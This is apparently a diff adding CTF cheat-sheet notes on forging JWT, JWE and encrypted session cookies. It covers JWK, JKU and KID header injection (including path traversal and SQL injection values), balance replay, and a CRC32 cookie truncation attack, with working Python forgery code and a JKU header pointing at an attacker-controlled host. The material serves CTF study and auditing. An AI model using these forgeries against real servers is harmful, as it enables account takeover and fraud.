"kty": "RSA",
|
|
62
|
+
"kid": original_header['kid'],
|
|
63
|
+
"e": base64.urlsafe_b64encode(public_numbers.e.to_bytes(3, 'big')).rstrip(b'=').decode(),
|
|
64
|
+
"n": base64.urlsafe_b64encode(public_numbers.n.to_bytes(256, 'big')).rstrip(b'=').decode()
|
|
65
|
+
}
|
|
66
|
+
forged = jwt.encode({"sub": "administrator"}, private_key, algorithm='RS256', headers={'jwk': jwk})
|
|
67
|
+
```
|
|
68
|
+
**Key insight:** Server extracts the public key from the token itself instead of using a stored key. Attacker controls both the key and the signature.
|
|
69
|
+
|
|
70
|
+
## JKU Header Injection (Crypto-Cat)
|
|
71
|
+
Server fetches public key from URL specified in JKU (JSON Key URL) header without URL validation:
|
|
72
|
+
```python
|
|
73
|
+
# 1. Host JWKS at attacker-controlled URL
|
|
74
|
+
jwks = {"keys": [attacker_jwk]} # POST to webhook.site or attacker server
|
|
75
|
+
|
|
76
|
+
# 2. Forge token pointing to attacker JWKS
|
|
77
|
+
forged = jwt.encode(
|
|
78
|
+
{"sub": "administrator"},
|
|
79
|
+
attacker_private_key,
|
|
80
|
+
algorithm='RS256',
|
|
81
|
+
headers={'jku': 'https://attacker.com/.well-known/jwks.json'}
|
|
82
|
+
)
|
|
83
|
+
```
|
|
84
|
+
**Key insight:** Combines SSRF with token forgery. Server makes an outbound request to fetch the key, trusting whatever URL the token specifies.
|
|
85
|
+
|
|
86
|
+
## KID Path Traversal (Crypto-Cat)
|
|
87
|
+
KID (Key ID) header used in file path construction for key lookup. Point to predictable file:
|
|
88
|
+
```python
|
|
89
|
+
# /dev/null returns empty bytes -> HMAC key is empty string
|
|
90
|
+
forged = jwt.encode(
|
|
91
|
+
{"sub": "administrator"},
|
|
92
|
+
'', # Empty string as secret
|
|
93
|
+
algorithm='HS256',
|
|
94
|
+
headers={"kid": "../../../dev/null"}
|
|
95
|
+
)
|
|
96
|
+
```
|
|
97
|
+
**Variants:**
|
|
98
|
+
- `../../../dev/null` → empty key
|
|
99
|
+
- `../../../proc/sys/kernel/hostname` → predictable key content
|
|
100
|
+
- SQL injection in KID: `' UNION SELECT 'known-secret' --` (if KID queries a database)
|
|
101
|
+
|
|
102
|
+
**Key insight:** KID is meant to select which key to use for verification. When used in file paths or SQL queries without sanitization, it becomes an injection vector.
|
|
103
|
+
|
|
104
|
+
## JWT Balance Replay (MetaShop Pattern)
|
|
105
|
+
1. Sign up → get JWT with balance=$100 (save this JWT)
|
|
106
|
+
2. Buy items → balance drops to $0
|
|
107
|
+
3. Replace cookie with saved JWT (balance back to $100)
|
|
108
|
+
4. Return all items → server adds prices to JWT's $100 balance
|
|
109
|
+
5. Repeat until balance exceeds target price
|
|
110
|
+
|
|
111
|
+
**Key insight:** Server trusts the balance in the JWT for return calculations but doesn't cross-check purchase history.
|
|
112
|
+
|
|
113
|
+
## JWE Token Forgery with Exposed Public Key (UTCTF 2026)
|
|
114
|
+
|
|
115
|
+
**Pattern (Break the Bank):** Application uses JWE (JSON Web Encryption) tokens instead of JWT. Public RSA key is exposed (e.g., via `/api/key`, `.well-known/jwks.json`, or in page source). Server decrypts JWE tokens with its private key — attacker encrypts forged claims with the public key.
|
|
116
|
+
|
|
117
|
+
**Key difference from JWT:** JWE tokens are **encrypted** (confidential), not just signed. The server decrypts them. If you have the public key, you can encrypt arbitrary claims that the server will trust.
|
|
118
|
+
|
|
119
|
+
```python
|
|
120
|
+
from jwcrypto import jwk, jwe
|
|
121
|
+
import json
|
|
122
|
+
|
|
123
|
+
# 1. Fetch the server's public key
|
|
124
|
+
# GET /api/key or extract from JWKS endpoint
|
|
125
|
+
public_key_pem = """-----BEGIN PUBLIC KEY-----
|
|
126
|
+
MIIBIjANBgkq...
|
|
127
|
+
-----END PUBLIC KEY-----"""
|
|
128
|
+
|
|
129
|
+
# 2. Create JWK from public key
|
|
130
|
+
key = jwk.JWK.from_pem(public_key_pem.encode())
|
|
131
|
+
|
|
132
|
+
# 3. Forge claims (e.g., set balance to 999999)
|
|
133
|
+
forged_claims = {
|
|
134
|
+
"sub": "attacker",
|
|
135
|
+
"balance": 999999,
|
|
136
|
+
"role": "admin"
|
|
137
|
+
}
|
|
138
|
+
|
|
139
|
+
# 4. Encrypt with server's public key
|
|
140
|
+
token = jwe.JWE(
|
|
141
|
+
json.dumps(forged_claims).encode(),
|
|
142
|
+
recipient=key,
|
|
143
|
+
protected=json.dumps({
|
|
144
|
+
"alg": "RSA-OAEP-256", # or RSA-OAEP, RSA1_5
|
|
145
|
+
"enc": "A256GCM" # or A128CBC-HS256
|
|
146
|
+
})
|
|
147
|
+
)
|
|
148
|
+
forged_jwe = token.serialize(compact=True)
|
|
149
|
+
# 5. Send forged token as cookie/header
|
|
150
|
+
```
|
|
151
|
+
|
|
152
|
+
**Detection:** Token has 5 base64url segments separated by dots (JWE compact format: header.enckey.iv.ciphertext.tag) vs. JWT's 3 segments. Endpoints that expose RSA public keys.
|
|
153
|
+
|
|
154
|
+
**Key insight:** JWE encryption ≠ authentication. If the server trusts any token it can decrypt without additional signature verification, exposing the public key lets you forge arbitrary claims. Look for public key endpoints and try encrypting modified payloads.
|
|
155
|
+
|
|
156
|
+
---
|
|
157
|
+
|
|
158
|
+
## AES Cookie Length-Field Truncation + CRC32 Swap (DefCamp 2018)
|
|
159
|
+
|
|
160
|
+
**Pattern:** A session cookie has the shape `AES(key¡value÷...¡)+<len>+<CRC32>`. The application parses the decrypted blob up to `<len>` bytes and trusts a CRC32 checksum for integrity. During registration the attacker controls the plaintext: embed `id¡1¡` early in the username, shorten `<len>` to truncate at that point, and recompute the CRC32 over the shortened payload. The deserializer now sees `id=1` (admin) and the CRC32 check still passes because CRC32 is not a MAC.
|
|
161
|
+
|
|
162
|
+
```python
|
|
163
|
+
import struct, zlib, requests, base64
|
|
164
|
+
|
|
165
|
+
# 1. Register with a username that embeds the target field early.
|
|
166
|
+
# The challenge stores fields as key\xa1value\xf7, AES-encrypts them,
|
|
167
|
+
# then appends a 2-byte length and a 4-byte CRC32.
|
|
168
|
+
payload_fields = b"name\xa1attacker\xf7id\xa11\xf7role\xa1user\xf7"
|
|
169
|
+
# 2. Grab the encrypted cookie the server set.
|
|
170
|
+
sess = requests.Session()
|
|
171
|
+
sess.post("http://target/register",
|
|
172
|
+
data={"user": "attacker", "pass": "x", "payload": payload_fields})
|
|
173
|
+
cookie = base64.b64decode(sess.cookies["session"])
|
|
174
|
+
ct, rest = cookie[:-6], cookie[-6:] # split off length + CRC32
|
|
175
|
+
# 3. Truncate: keep only bytes up to and including "id\xa11\xf7"
|
|
176
|
+
truncated_plain = b"name\xa1attacker\xf7id\xa11\xf7"
|
|
177
|
+
new_len = struct.pack("<H", len(truncated_plain))
|
|
178
|
+
new_crc = struct.pack("<I", zlib.crc32(ct[: len(truncated_plain)]))
|
|
179
|
+
forged = base64.b64encode(ct[: len(truncated_plain)] + new_len + new_crc)
|
|
180
|
+
sess.cookies["session"] = forged.decode()
|
|
181
|
+
print(sess.get("http://target/admin").text)
|
|
182
|
+
```
|
|
183
|
+
|
|
184
|
+
**Key insight:** CRC32 is a checksum, not a message authentication code — it is linear, so flipping any bit in the ciphertext and recomputing the CRC yields a still-"valid" cookie. Combined with a length field that tells the parser how many bytes to decode, the attacker can truncate (or extend) the plaintext at any point. Audit cookies that decrypt to a length-prefixed payload and watch for the signature algorithm: if it is `crc32`, `adler32`, `md5`, or anything that is not an HMAC/AEAD, assume forgery.
|
|
185
|
+
|
|
186
|
+
**References:** DefCamp CTF Qualification 2018 — Get Admin, writeup 11430
|